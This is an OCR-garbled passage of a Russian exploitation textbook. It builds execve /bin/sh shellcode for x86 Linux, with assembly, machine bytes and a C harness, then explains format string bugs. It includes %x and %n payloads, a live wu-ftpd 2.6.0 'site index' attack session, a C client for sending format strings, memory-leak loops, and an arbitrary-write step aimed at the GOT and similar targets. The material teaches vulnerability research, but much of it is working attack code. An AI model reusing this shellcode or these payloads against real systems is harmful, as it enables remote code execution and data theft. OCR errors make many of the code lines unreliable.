60 Глава 3. Внедряемый код В эту область копируются данные, которые должны быть записаны в два из трех регистров, содержащих аргументы системной функции. Мы можем легко определить адреса этих данных в памяти, потому что адрес первого байта строки хранится в регистре ESI. Кроме того, это обстоятельство позволяет легко завершить строку нуль-символом. 1. Обнулите регистр ЕАХ, объединив его операцией хог с самим собой. 2. Завершите нулем строку /bin/sh, скопировав содержимое AL в последний байт строки. Регистр AL равен нулю, потому что мы обнулили ЕАХ на предыдущем шаге. Также необходимо вычислить смещение заполнителя J от начала строки. 3. Получите адрес начала строки, хранящийся в регистре ESI, и скопируйте его в ЕВХ. 4. Скопируйте значение, хранящееся в ЕВХ (теперь это адрес начала строки), на место заполнителя АААА. Здесь будет храниться указатель на двоичный исполняемый файл, передаваемый при вызове execve. И снова необходимо вычислить правильное смещение. 5. Скопируйте нули, хранящиеся в ЕАХ, поверх заполнителя КККК с использованием вычисленного смещения. 6. Нули в регистре ЕАХ нам уже не понадобятся, поэтому скопируйте код ОхОЬ функции execve в AL. 7. Загрузите в регистр ЕВХ адрес строки. 8. Загрузите адрес значения, хранящегося в заполнителе АААА (указатель на строку), в регистр ЕСХ. 9. Загрузите в регистр EDX адрес значения в КККК (указатель на null). 10. Выполните команду int 0x80. Окончательная версия ассемблерного кода, который будет преобразован во внедряемый код, выглядит так: Section text global _start _start jmp short shell code pop xor mov byte lea mov long mov long mov D-yte mov GotoCall esi eax. [esi ebx, [esi [esi al. ebx, eax + 71 , [esi J + 8]. + 12]. 0x0b esi , al ebx , eax
3ai |уск командного процессора 61 lea lea int dnluCall Call db ecx, [esi + 8] edx. [esi + 12] 0x80 shellcode Vbin/shJAAAAKKKK' ()i компилируйте программу и дизассемблируйте ее, чтобы получить машинные коды. I mot@0day linux]# nasm -f elf execve2 asm Iroot@0day linux]# Id -o execve2 execve2 о I mot@0day linux]# objdump -d execve2 exccve2 file format elf32-1386 Disassembly of section text 08048080 8048080. 08048082 8048082. 8048083- 8048085- 8048088: 804808a. 804808d. 8048090 8048092- 8048094- 8048097- 804809a- 0804809C 804809c: 80480al. 80480a2- 80480a5: 80480a6: 8(L80a8 8(L80a9 8(L80aa H(L80ab- M(L80ac M(L80dd ЖL80ае M(I80af M(L8()b0 < start> eb la <shellcode> 5e 31 cO 88 46 8dle 89 5e 89 46 bO 0b 89 f3 8d 4e 07 08 0c 08 8d56 0c cd 80 <GotoCall> e8 el 2f 62 69 2f 73 68 4a 41 41 41 41 4b 4b 4b 4b ff ff ff 6e jmp pop xor mov 1-ea mov mov mov mov lea lea int call das bound das jae dec inc inc inc inc dec dec dec dec 804809c <GotoCall> *esi йеахДеах *al.0x7Uesi) UesD ДеЬх Xebx.0x8Uesi) Seax.OxcUesi) $0xb.*al *esi ДеЬх 0x8«esi).?ecx OxcUesi),%edx $0x80 8048082 <shellcode> Uebp.0x6e№cx) 8048110 <GotoCall+0x74> %edx %ecx %ecx %ecx %ecx %ebx %ebx %ebx %ebx 11 ool^Oday linux]# < >i»|>:i i ii iс» внимание: внедряемый код не содержит ни нуль-символов, ни жестко икшшрованных адресов. Остается лишь создать внедряемый код и подключит!» пи к (' iipni рамме.
62 Глава 3. Внедряемый код char shellcode[] = n\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel" ,,\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41H "\x4b\x4b\x4b\x4b"; int mainO { int *ret, ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Мы получили работоспособный внедряемый код. Если потребуется дополнительно сократить его объем, можно попытаться убрать область заполнителей в конце кода: char she!1code[] = "\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68". В других главах будут представлены более сложные приемы построения внедряемого кода, а также принципы его использования в других архитектурах. Итоги В этой главе было показано, как создавать внедряемый код для процессора х86 в системе Linux. Общие принципы могут использоваться и при разработке внедряемого кода для других процессоров и операционных систем, хотя синтаксис будет выглядеть иначе (возможно, вам придется задействовать другие регистры, или же операционная система не будет поддерживать системных функций — как, например, Windows). Очень важно, чтобы внедряемый код был как можно компактнее и не создавал проблем с исполнением (как, например, при наличии нуль-символов в символьных массивах). Компактность позволит использовать внедряемый код с максимальным количеством потенциально уязвимых буферов. Что касается исполнимости кода, в этой главе были представлены самые распространенные и простые способы ее обеспечения. На страницах этой книги вы еще познакомитесь с множеством других трюков и разновидностей приемов, упоминавшихся в данной главе.
ГЛАВА 4 Дефекты форматных строк Длимая глава посвящена дефектам форматных строк в Linux, хотя эта проблема и не привязана к конкретной операционной системе. В своей наиболее распро- гфлиеиной форме дефекты форматных строк возникают из-за специфических и* оГнмиюстей механизмов вызова функций с переменным числом аргументов и нлыке С. Так как дефекты форматных строк обусловлены языком С, они могут i vшествовать в любой операционной системе, для которой имеется компилятор и 1мкл С, то есть практически в любой из существующих операционных систем. Ничему вообще существуют дефекты форматных строк? Этот вопрос обсуждайся в разделе «Причины дефектов форматных строк». ВНИМАНИЕ Для понимания материала этой главы необходимы базовые знания языков про- i раммирования семейства С, а также ассемблера х86. Практические навыки Linux полезны, но не обязательны. Понятие форматной строки Чюбы понять, что собой представляют форматные строки, необходимо познакомиться с проблемами, для решения которых они были разработаны. Многие мршрлммы в той или иной форме выводят текстовые данные, среди которых чип о встречаются числа. Допустим, программа выводит строку с денежной • уммои, которая хранится в программе в форме вещественного числа с двойной тчпоетыо: double AmountlnSterling. 11уем» сумма задана в фунтах стерлингов и равна ?30432.36. Она должна быть мм ведена именно в таком виде — с префиксом знака фунта (?), десятичной точит и двумя знаками в дробной части. Если бы форматных строк не существо- и.по, мам пришлось бы написать изрядный объем кода для форматирования ч|н 'i;i, по даже такое решение подходило бы только для вещественных чисел ¦тонной точности и для конкретной валюты — фунта стерлингов. Форматные i фоки предоставляют более общее решение задачи. Они позволяют вывести • ipoKv со значениями переменных, отформатированную в точности так, как \ кижег программист. Для вывода числа в нужном формате достаточно вызшпь функцию printf, которая направляет строку в стандартный выходной поток про iiei < .1 (stdout): puiilK "П Л\п". AmounUnSterlinq).
64 Глава 4. Дефекты форматных строк В первом параметре функции передается форматная строка — константная строка с заполнителями, определяющими место подстановки переменных. Для включения числа типа double в форматную строку применяется спецификатор формата %f. Спецификатор состоит из нескольких компонентов (флаги, ширина и точность), определяющих формат вывода. В нашем примере используется компонент точности, который указывает, что число должно выводиться с двумя знаками в дробной части. Компоненты ширины и точности в нашем простом примере не задействованы. Чтобы вы получили представление о спецификаторах формата, приведем пример программы, которая выводит таблицу ASCII с указанием десятичных и ше- стнадцатеричных кодов символов, а также их эквивалентов в ASCII: #include <stdlib.h> #include <std"io.h> int main( int argc, char *argv[] ) { int c; printf( "Decimal Hex CharacterAn" ), printf( "========== =========\n" ). for( с = 0x20, с < 256. C++ ) { switch( с ) { case 0x0a case 0x0b- case 0x0c: case OxOd case Oxlb. printf( " %036 XQZx \n". с. с ); break, default printf( " %03d ?02x Sc\n\ с. с, с ); break, } } return 1. } Результат выглядит примерно так: Decimal Hex Character 032 20 033 21 034 22 035 23 # 036 24 $ 037 25 % 038 26 &
Понятие дефекта форматной строки 65 039 27 040 28 ( И .ном примере один символ выводится тремя разными способами (с использо- и;и1исм разных спецификаторов формата). Понятие дефекта форматной строки Дефект форматной строки (format string bug) возникает при включении данных, вводимых пользователем, в форматную строку функций семейства printf. И .)го семейство входят следующие функции: pnntf (printf spnntf bnprintf vfprintf vprintf vsprintf vsnprintf I la разных платформах существуют и другие функции, получающие строки со спецификаторами формата в стиле С (скажем, функции wprintf на платформе Windows). Нападающий вводит лишние спецификаторы формата, для которых и сгеке нет соответствующих аргументов, и вместо аргументов используется текущее содержимое стека. Это приводит к утечке информации, а также может пмдать условия для выполнения произвольного кода. Как уже упоминалось, функциям семейства printf должна передаваться формат- мая строка с описанием структуры выходных данных и перечнем переменных, подставляемых в форматную строку. Например, следующий фрагмент выводит квадратный корень из 2 с точностью до 4 цифр в дробной части: printf("The square root of 2 is %2 4f\n". sqrt( 2 0)), I'.r/in передать программе форматную строку, но не указать подставляемые переменные, происходят довольно странные вещи. Перед вами обобщенная про- i рамма, которая вызывает функцию printf с аргументом, переданным в командном строке: //include <stdio h> //include <stdlib.h> int main( int argc, char *argv[] ) { if( argc '= 2 ) { printf("Error - supply a format string please\n"); return 1, } pnntf( argv[l] ), printf( "\n" ), return 0.
66 Глава 4. Дефекты форматных строк Откомпилируем программу следующей командой: ее fmt.c -о fmt Теперь запустим ее такой командной строкой: ./fmt "%х %х %х %х" Это означает, что мы фактически вызываем функцию printf в виде printf ( "*х %х %х %х" ), Здесь важно то, что мы указали форматную строку, но не передали четыре числовые переменные, которые должны быть в нее подставлены. Как ни странно, вызов printf проходит без сбоев, а результат выглядит примерно так: 4015с98с 4001526с bffff944 bffff8e8 Итак, функция printf() откуда-то взяла четыре аргумента. Как выясняется, они были взяты из стека. На первый взгляд кажется, что особых проблем это не создает, если не считать того, что нападающий может просмотреть содержимое стека. Что это значит? Теоретически при просмотре может открыться конфиденциальная информация (скажем, имена пользователей и пароли), но проблема лежит еще глубже. При передаче большого количества спецификаторов %х будет получен довольно интересный результат: /fmt "АААМААААААААААААААМхМхМхШхШхШхШхШхШхШхМхШхМх /о Х/о Х/о Х/о Х/о Х/о Х% Х/6 Х/о Х% Х/о Х/о Х/о Х/о Х% Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/оХ/оХ%Х/оХ^>Х/оХ%Х/оХ/оХ k> Х/о Х% Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х% Х/о Х% Х% Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о Х/о X/q X/fe Х% Х/о Х/о X/qX/oX/oX ^x^x^x^xъx^x%x^xъxъxkX^x%x^x^XmX^x^x^x^x/oX^xъxmX%x%x^oXъxkXУoXъx AAAAAAAAAAAAAAAAAAA4001526cbffff7d880483el8049530804962cbffff8084003e280 2bffff834bffff84080482ae80484900bffff8084003e26a0bffff8404015abc040014d2 8280483000804832180484002bffff834804829880484904000cc20bffff82c400152cc2 bffff972bffff9780bffffa8ebffffablbffffac3bffffae3bffffaf6bffffb08bffffb2 abffffb3cbffffb4ebffffb5bbffffb64bffffb6ebffffb85bffffd63bffffd71bffffd9 2bffffdadbffffdc2bffffdcfbffffddabffffdebbffffdf8bffffe00bffffe0fbffffe2 4bffffe34bffffe42bffffe50bffffe61bffffe6fbffffe7abffffe85bffffed6bffffee 5bffffef7bfffff0abffffflbbfffff2bbfffffd6bfffffde0103febfbff610001164380 48034420567400000008098048300b0c0d0e0fbffff96d000000383669002f2e0036746d 664141414141414141414141414141414125414141257825782578257825782578257825 7825782578257825782578257825782578257825782578257825782578 Как видите, мы извлекли из стека довольно большой объем данных, но ближе к концу строки обнаруживается шестнадцатеричное представление начала строки: 41414141414141 Результат немного неожиданный, но вполне логичный, если учесть, что сама форматная строка тоже хранится в стеке, поэтому 4-байтовые сегменты строки тоже передаются в виде «чисел» для подстановки. Таким образом, мы получаем содержимое стека в шестнадцатсричном формате. Что еще можно сделать? Для начала стоит познакомиться с другими спецификаторами типов, а д/1я этого нужно выполнить команду man spiinlf Им увпдше
Пони i ио дефекта форматной строки 67 многочисленные спецификаторы преобразования — d, i, о, и и х для целых чи- (ел; е, f, g и а для вещественных и с для символов. В списке также попадаются /Iругне» интересные спецификаторы, которые работают не с простыми числами: -) s аргумент интерпретируется как указатель на строку, подставляемую и ныходные данные. ¦ > п - аргумент интерпретируется как указатель на целое число (или его разновидность вроде short). По адресу, на который указывает аргумент, сохраняется количество символов, выведенных до настоящего момента. 111 лк, если включить в форматную строку спецификатор %п, то в ячейку памя- 1П, заданную аргументом, будет записано количество выведенных символов: / fmt "АААМААААААМАААМАШпШпЬЬШпШгйп" Длимый пример более интересен — он демонстрирует опасность, которая возникли при вводе форматной строки пользователем. Согласно предыдущему опи- сиишо спецификаторов формата printf, спецификатор типа %п рассматривает ( поп аргумент как адрес, и записывает по указанному адресу количество выведенных символов. А это означает, что мы можем заменять содержимое памяти по некоторым адресам с целью перехвата управления. Не огорчайтесь, если не совсем поняли суть происходящего — вся оставшаяся часть главы содержит подробные объяснения. Нерпсмся к примеру с таблицей ASCII. Спецификатор ширины позволяет управ- чн и, количеством выводимых символов; если потребуется вывести 50 симво- чои, мы указываем спецификатор %050х. Функция выводит шестнадцатеричное число, которое дополняется начальными нулями до 50 цифр. Л если заодно вспомнить, что аргументы функции printf могут браться из самой г i роки (как в примере с 41414141), становится понятно, что спецификатор %п может использоваться для записи определяемого нами значения по выбранному нами же адресу. Использование данного обстоятельства позволит нам выполнить произвольны!'! код, так как при этом выполняются следующие условия: ¦> Мы управляем значениями аргументов и можем записать количество выведенных символов в произвольную ячейку памяти. '"> Спецификатор ширины позволяет дополнить выходные данные практически до произвольной длины — в том числе до 255 символов. Таким образом, мы можем заменить один байт произвольным значением по нашему выбору. ¦ > 11овгорив замену четыре раза, мы заменим почти любые четыре байта значением по нашему выбору. Перезапись четырех байтов эквивалентна замене адреса. Впрочем, при записи в адреса с байтами 00 возникнут проблемы, поскольку в С байт 00 является признаком завершения строки. Вероятно, проблему удастся решить записью двух байтов, начиная с предшествующего адреса. •> Поскольку в общем случае мы можем узнать адрес указателя на функцию (сохраненный адрес возврата, двоичная таблица импорта, v-таблица С <- \ ), переданная прока будет выполнена как программный код.
68 Глава 4. Дефекты форматных строк Стоит указать на несколько распространенных заблуждений, относящихся к атакам на базе форматных строк: о Они работают не только в UNIX. о Они не обязательно работают на базе стека. о В общем случае механизмы защиты стека от них не спасают. о Как правило, их удается выявить средствами статического анализа кода. Все эти заблуждения хорошо разъясняются в описании уязвимости форматных строк Van Dyke VShell SSH Gateway for Windows по адресу www.atstake.com/ research/advisories/2001/a021601-l.txt. Дефекты форматных строк порождают довольно серьезную уязвимость. Возможность выполнения произвольного кода в программном компоненте, проводящем аутентификацию пользователей, делает ограничения доступа практически бессмысленными. Искусный нападающий может относительно легко сохранить текстовый протокол всех пользовательских сеансов или взять систему под свой контроль. Подведем итог: дефекты форматных строк возникают при включении данных, вводимых пользователем, в форматные строки функций семейства printf. Нападающий вводит лишние спецификаторы формата, для которых в стеке нет соответствующих аргументов, и вместо недостающих аргументов используются значения из стека. Это приводит к утечке информации и теоретически — к возможности выполнения произвольного кода. Использование дефектов форматных строк Когда в программе вызывается функция семейства printf, ее параметры передаются в стеке. Как упоминалось ранее, при нехватке параметров функция printf берет из стека следующие значения и использует их вместо недостающих аргументов. Обычно форматная строка также хранится в стеке, поэтому мы можем с ее помощью передавать аргументы, используемые функцией printf при обработке спецификаторов формата. Ранее уже было показано, что в некоторых ситуациях дефекты форматных строк могут применяться для вывода содержимого стека. Однако у них есть более полезное применение — выполнение произвольного кода за счет разновидностей спецификатора %п (мы еще вернемся к этой теме). Еще один, более интересный способ эксплуатации дефектов форматных строк заключается в использовании спецификатора %п для модификации данных в памяти и фундаментального изменения поведения программы. Допустим, программа может хранить пароль некоторой административной функции в памяти. Если записать на место пароля нуль-символ при помощи спецификатора %п, то административную функцию можно будет выполнять с пустым паролем Хорошими объектами дли ;иакп также являются идет пфпкатор мо'и. иж.иемя (Usei II),
Использование дефектов форматных строк 69 ИИ)) и идентификатор группы (Group ID, GID) — если программа предоставит' г доступ к некоторому ресурсу или изменяет свой уровень привилегий на псиоиании данных, хранящихся в памяти. Модификация таких данных факти- чгски парализует систему безопасности. По коварству и обилию нюансов V форматных строк нет конкурентов. Mo.ibMCM конкретный пример для изучения — FTP-демона Вашингтонского университета, который в версии 2.6.0 содержал пару дефектов форматных строк. Исходное оповещение CERT об этих дефектах можно найти по адресу www.cert. oHj/advisories/CA-2000-13.html. Данный пример особенно интересен, потому что обладает целым рядом свойств, тп.ма важных для практического примера: • > 11 сходные тексты программы доступны; при желании можно легко загрузить и настроить уязвимую версию. > Дефект относится к категории дистанционных атак (то есть может использоваться в режиме анонимного входа) и поэтому представляет весьма реальную угрозу. <> Управляющее подключение обслуживается одним процессом, благодаря чему последовательные операции записи выполняются в одном адресном пространстве. > Результаты воспроизводятся в эхо-режиме, что упрощает демонстрацию хода получения информации. Нам потребуется компьютер с системой Linux, компилятором gcc, отладчиком }\i\U и всеми инструментами, необходимыми для загрузки демона wu-ftpd 2.60 по адресу ftp://ftp.wu-ftpd.Org/pub/wu-ftpd-attic/wu-ftpcl-2.6.0.tar.gz. Заодно можно загрузить файл wu-ftpd-2.6.0.tar.gz.asc и убедиться в том, что архив не был модифицирован, хотя это и не обязательно. Им полните все инструкции по установке и настройке wu-ftpd. Конечно, следует помнить, что после установки демона ваш компьютер становится уязвимым для ,мак, использующих дефект wu-ftpd, так что примите меры предосторожно- 1Ш например, отключите компьютер от сети или тщательно настройте брандмауэр. Согласитесь, обидно пострадать от того самого дефекта, который вы изучаем' Так что будьте бдительны. Аварийное завершение служб I Ihoi да при сетевой атаке требуется просто вывести из строя конкретную служ- • >\ Скажем, если в атаке задействован механизм разрешения имен, может по- фгоонаться организовать сбой DNS-сервера. Службы, уязвимые для дефектов фпрмашых строк, вывести из строя совсем несложно. I'a«'< MoipiiM пример с демоном wu-ftpd. FTP-демоп Вашингтонского универси- ii'i.i и версии 2.6.0 (и ранее) был уязвим для типичных атак с использованием фирма nioii строки в команде site exec. Пример сеанса: I innK'Mt lacker]// telnet victim 21 h viiki 10 I I I
70 Глава 4. Дефекты форматных строк Connected to victim A0.1.1 1). Escape character is '*]' 220 victim FTP server (Version wu-2 6 0B) Wed Apr 30 16-08 29 BST 2003) ready. user anonymous 331 Guest login ok, send your complete e-mail address as password. pass foo@foo.com 230 User anonymous logged in. site exec %x Xx %x %x %x %x %x %x 200-8 8 bfffcacc 0 14 0 14 0 200 (end of '%x %x %x %x %x %x %x %x') site index %x %x %x %x %x %x %x %x 200-index 9 9 bfffcacc 0 14 0 14 0 200 (end of 'index Ix %x %x %x %x %x %x Xx') quit 221-You have transferred 0 bytes in 0 files 221-Total traffic for this session was 448 bytes in 0 transfers 221-Thank you for using the FTP service on vulcan ngssoftware com. 221 Goodbye. Connection closed by foreign host [root@attacker]# Как видите, включив спецификатор %х в команду site exec и (еще интереснее) site index, мы смогли извлечь данные из стека описанным ранее способом. Если ввести следующую команду, демон wu-ftpd попытается записать целое число 0 по адресам 0x8, 0x8, Oxbfffcacc и 0x0: site index ХпХпХпХп Это приведет к ошибке сегментации, поскольку адреса 0x8 и 0x0 не допускают запись. Давайте попробуем: site index ШпШп Connection closed by foreign host Кстати говоря, уязвимость команды site index относительно малоизвестна, поэтому многие системы обнаружения вторжений (Intrusion Detection Systems, IDS) ее не отслеживают. На момент написания книги стандартная база правил Snort перехватывала только вторжения через команду site exec. Утечка информации В продолжение нашего примера с wu-ftpd давайте посмотрим, как происходит чтение информации из атакуемой системы. Чтение информации из стека уже рассматривалось. Начнем с создания несложной тестовой программы, упрощающей передачу форматной строки команде site index. Назовем ее dowu.c. #include <stdio h> #include <string h> #include <stdlib h> #include <sys/types h> #include <sys/socket h> #include <sys/time h> #include <netdb h> #include <unistd h>
Использонанио дефектов форматных строк 71 'ик lude <netinet/in.h> 'пк lude <arpa/inet h> 'пк lude <signal h> Mti( lude <errno.h> il connect_to_server(char*host){ struct hostent *hp; struct sockaddr_in cl; int sock. if(host==NULL||*host==(charH){ fprmtf(stderr, "Invalid hostname\n"); exit(l); ifС(cl.sin_addr s_addr=inet_addr(host))==-l) { if((hp=gethostbyname(host))==NULL) { fpnntf(stderr,"Cannot resolve Us\n",host), i-xiKl): } цинк py((char*)&cl sin_addr,(char*)hp->h_addr,sizeof(cl sin_addr)). } if((sock=socket(PF INET.SOCK STREAM.IPPROTO TCP))==-1) fprmtf(stderr, "Error creating socket XsW .strerror(errno)); exit(l). cl.sin_family=PF_INET, cl sin_port=htonsB1). if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-l) { fpnntf(stderr. "Cannot connect to %s %s\n" .host.strerror(errno)), return sock, ml roceive_from_server( int s. int print ) i ml retval. (har buff[ 1024 * 64], niiMiisot ( buff. 0. 1024 * 64 ). ivtvdl M4v( s, buff. A024 * 63). 0 ).
72 Глава 4. Дефекты форматных строк if( retval > 0 ) { if( print ) pnntf( "%s". buff ); } else { if( print) pnntf( "Nothing to recieve\ return 0, } return 1; } int ftp_send( int s. char *psz ) { send( s, psz, strlen( psz ), 0 ); return 1, } int syntaxO { printf("Use\ndo_wu <host> <format stnng>\ return 1, } int main( int argc, char *argv[] ) { int s. char buff[ 1024 * 64 ]. char tmp[ 4096 ]. if( argc != 4 ) return syntaxO; s = connect_to_server( argv[l] ); if( s <= 0 ) _exit( 1 ), receive_from_server( s, 0 ). ftp_send( s. "user anonymous\n" ), receive_from_server( s. 0 ). ftp_send( s. "pass foo@example com\n" ), receive_from_server( s. 0 ). if( atoi( argv[3] ) == 1 ) { printf("Press a key to send t ho sir in
Использовании дефектов форматных строк 73 getc( stdin ); } strcat( buff, "site index " ); spnntf( tmp, "% 4000s\n", argv[2] ), strcatC buff, tmp ); ftp_send( s, buff ); receive_from_server( s. 1 ); shutdown( s, SHUT_RDWR ); return 1; I Откомпилируйте программу (подставив регистрационные данные по своему усмотрению) и запустите. I Iji'iiicm с простейшего извлечения данных из стека. /dowu local host "%х %х %х %х %х %х %х %х %х %х %х %х %х %х %х %х %х" О Результат будет выглядеть примерно так: 00-index 12 12 bfffca9c 0 14 0 14 0 8088bc0 0 0 0 0 0 0 0 0 Так ли необходимы все эти спецификаторы %х? На самом деле нет. В болыпин- пиг разновидностей Unix можно воспользоваться механизмом, называемым прямым доступом к параметрам (direct parameter access). Обратите внимание: и приведенном выводе на третьем месте в списке стоит значение bfffca9c. Попробуем выполнить команду: /dowu localhost "%3\$х" 0 Команда выдает строку ?00-index bffca9c Мы напрямую обратились к третьему параметру и вывели его значение. Так от- крыиается интересная возможность вывода данных, начиная с адреса в ESP, посредством указания смещения. ('легка автоматизируем процесс и проверим содержимое стека: lor(( i = 1: i < 1000. т++)). do echo -n "$i " && /dowu localhost "П1\$х" 0; done Мы получаем первую порцию данных из стека, состоящую из 1000 двойных ( мои. Некоторые из них могут представлять интерес. Глюке можно воспользоваться спецификатором %s на случай, если некоторые шлчения являются указателями на интересующие нас строки: 1ог(( 1 = 1, i < 1000; i++)), do echo -n "$i " && /dowu localhost "Ui\$s" 0; done Ьч.иодаря возможности использования спецификатора %s для выборки строк, мы можем попробовать прочитать строки из произвольного адреса в памяти. Д'ш лого необходимо сначала узнать, с какого адреса в стеке начинается пере- ¦ии.н'мая нами строка. Для этого мы выполним такую команду: lor(( i = 1: i < 1000. i++)). do echo -n "$i " && /dowu localhost "AAAAAAAAAAAAAAAA°^$i\$xn 0. done | grep 4141
74 Глава 4. Дефекты форматных строк Она служит для определения местонахождения в списке параметров строки 41414141 (начало форматной строки). На компьютере одного из авторов полученное значение равно 272, но в вашем случае конкретное значение может быть другим. В продолжение экспериментов попробуем изменить начало строки и посмотрим, что хранится в параметре 272. ./dowu local host "ВВВА%272\$х" 0 Результат: 200-index BBBA41424242 Четыре байта в начале нашей строки соответствуют параметру 272. Это обстоятельство может быть использовано для чтения данных по произвольному адресу памяти. Начнем с простого случая: for(( i = 1; i < 1000; i++)). do echo -n "$i " && /dowu localhost "*$i\$s" 0; done В параметре 187 мы получаем следующую строку: 200-index BBBAU FTP server Us) ready Получим адрес этой строки при помощи спецификатора %х: ./dowu localhost "ВВВАП87\$х" 0 200-index BBBA8064d55 Теперь можно попробовать прочитать строку по адресу 0x08064d55: ./dowu localhost $'\x55\x4d\x06\x08U272$s' 0 200-index [)%s FTP server Us) ready Обратите внимание: байты «адреса» в начале форматной строки переставлены в обратном порядке, поскольку именно такой порядок используется в процессорах серии 1386. Теперь мы можем прочитать из памяти любые данные и даже получить дамп всего адресного пространства. Для этого достаточно задать нужный адрес в начале строки и использовать прямой доступ к параметрам для получения данных. Если атакуемая платформа не поддерживает механизм прямого доступа к параметрам (как, например, Windows), то для обращения к параметру, в котором хранится начало строки, достаточно включить в форматную строку необходимое количество спецификаторов. Однако при этом могут возникнуть проблемы, потому что процесс, являющийся объектом атаки, может установить ограничения на размер строки. В таких ситуациях существует пара обходных решений. Поскольку вы пытаетесь добраться до параметра, извлекая данные из стека, используйте спецификаторы большей разрядности (например, спецификатор %f, параметр которого является 8-байтовым вещественным числом). Однако этот способ не является стопроцентно надежным; иногда в результате оптимизации поддержка вещественных вычислений исключается из атакуемого процесса, и попытка использования спецификатора %f приводит к ошибке. Кроме toi о, периодически возникают ошибки деления на нуль, поэтому лучше задействовать специфика го]) %.f, отображающий только целую часть чист
Контроль над исполнением 75 Другое решение основано на применении квалификатора *, который означает, •мп область вывода параметра определяется предыдущим параметром. Например, следующая функция выведет число 123, дополненное начальными пробе- мимм до длины в 10 символов: pnntfCW, 10. 123); I la некоторых платформах поддерживается синтаксис Гикая запись всегда выводит десять символов. Таким образом, мы приближаем- « и к соотношению «4 читаемых байта на 1 байт форматной строки». Контроль над исполнением II 1лк, мы можем прочитать любые данные в атакуемом процессе, но нам хотелось бы иметь возможность выполнения кода. Для начала попробуем использо- ii.iii, wu-ftpd для записи двойного слова D байта) по выбранному нами адресу. 11;ниа цель — заменить указатель на функцию, сохраненный адрес возврата или •мп пибудь в этом роде, заставив программу передать управление нашему коду. 11,14нем с записи значения по выбранному нами адресу. Вы еще не забыли, что параметр 272 определяет начало нашей форматной строки в wu-ftpd? Посмотрим, что произойдет при попытке записи по адресу памяти: /dowu local host $'\x41\x41\x41\x4U272$n' 1 Трассировка выполнения wu-ftpd при помощи отладчика gdb показывает, что мм юлько что попытались записать значение 0x0000000а по адресу 0x41414141. Учтите, что в зависимости от платформы и версии gdb может оказаться, что отладчик не поддерживает отслеживание дочерних процессов, поэтому в программу dowu.с был включен специальный перехватчик (hook). Если задать в командной строке третий аргумент, равный 1, то передача форматной строки серверу и dowu.с приостанавливается до нажатия клавиши. Это даст вам время для поиска соответствующего дочернего процесса и подключения к нему отладчика gdb. Им полните команду /dowu localhost $'\х41\х41\х41\х4Ш72$п' 1 ll;i .)кране появится приглашение: I'ress a key to send the string 11.1Идем дочерний процесс: P'. aux | grep ftp IV.iyni/raT должен выглядеть примерно так: toot 32710 0 0 02 2016 700 7 S May07 0 00 ftpd .м ( opting с lip П821 0 0 04 2120 1052? S 16 37 0 00 ftpd lo( cilhost 1 Процесс, работающий под именем ftp, является дочерним. Мы запускаем gdb:(jdb и ииодим команду присоединения к дочернему процессу: ,ll I .W h I \Ю\
76 Глава 4. Дефекты форматных строк На экране появляется сообщение вида: Attaching to process 11821 0х4015а344 in ?? О Введите команду continue, чтобы отладчик gdb продолжил работу. Если переключиться в терминал dowu и нажать клавишу Enter, а затем снова переключиться в терминал gdb, вы увидите сообщение вида: Program received signal SIGSEGV, Segmentation fault. 0x400dl09c in ?? () Тем не менее, нам нужно знать больше. Посмотрим, какая команда стала причиной ошибки сегментации: x/5i $eip 0x400dl09c: 0x400dl09e. 0x400dl0a3: 0x400dl0a9. 0x400dl0ab: mov jmp mov test je Sech.Ueax) 0x400cf84d 0xfffff9b8«ebp),uecx %ecx,%ecx 0x400fl0d0 Теперь выведем содержимое регистров: info reg eax ecx edx ebx esp ebp esi edi 0x41414141 0xbfff9c70 0x0 0 0x401b298c 0xbfff8b70 0xbfffa908 0xbfff8b70 Oxa 10 1094795585 -1073767312 1075521932 0xbfff8b70 0xbfffa908 -1073771664 Мы видим, что команда mov %edi,(%eax) пытается записать значение Оха по адресу 0x41414141. Собственно, именно это и предполагалось. Теперь попробуем перезаписать какой-нибудь осмысленный адрес. Существует много потенциальных целей, в том числе: о Сохраненный адрес возврата (тривиальное переполнение в стеке; местонахождение адреса возврата определяется средствами, описанными в разделе «Утечка информации»). о Глобальная таблица смещений (Global Offset Table, GOT). Отлично подходит для ситуаций, когда кто-то другой использует тот же двоичный модуль, что и вы (например, rpm). о Таблица деструкторов DTORS (деструкторы вызываются непосредственно перед exit). о Перехватчики С-библиотеки (maUoc_hook, reaUoc_hook и free_hook). о Структура atexit (см. man atexit). о Другие указатели на функции — таблицы виртуальных функций (v-ia6/m- \\ы) С+ 1-, функции обратного вызова (callbacks) и т. д.
Контроль над исполнением 77 ¦ > В Windows — используемый по умолчанию обработчик необработанного исключения, который (почти всегда) находится по одному адресу. Ч и>бы не создавать себе лишних сложностей, в качестве цели выберем таблицу (J( )T :)тот подход достаточно гибок, прост в использовании и открывает путь к (юлее изощренным способам применения дефектов форматных строк. Мо прежде чем браться за GOT, кратко рассмотрим уязвимую часть wu__ftpd: void vreplydong flags, int n, char *fmt. vajist ap) { char buf[BUFSIZ]; flags &= USE_REPLY_NOTFMT | USE_REPLY__LONG, if (n) sprintf(buf. "%№%c". n, flags & USE_REPLY_LONG ? '-' ' '), if (flags & USE_REPLY_NOTFMT) snpnntf(buf + (n ? 4 • 0), n ? sizeof(buf) - 4 • Mzeof(buf), Is", fmt), else vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap); if (debug) /* Отладочный вывод •) */ syslog(LOG_DEBUG. "<--- %s". buf). printf ("?s\r\n\ buf), #i fdef TRANSFER_COUNT byte_count_total += strlenfbuf), byte_count_out += strlen(buf), #endif fflush(stdout), } ()Г>ратите внимание на строку, выделенную жирным шрифтом. Здесь интересно ю, что сразу же за уязвимым вызовом vsnprintf следует 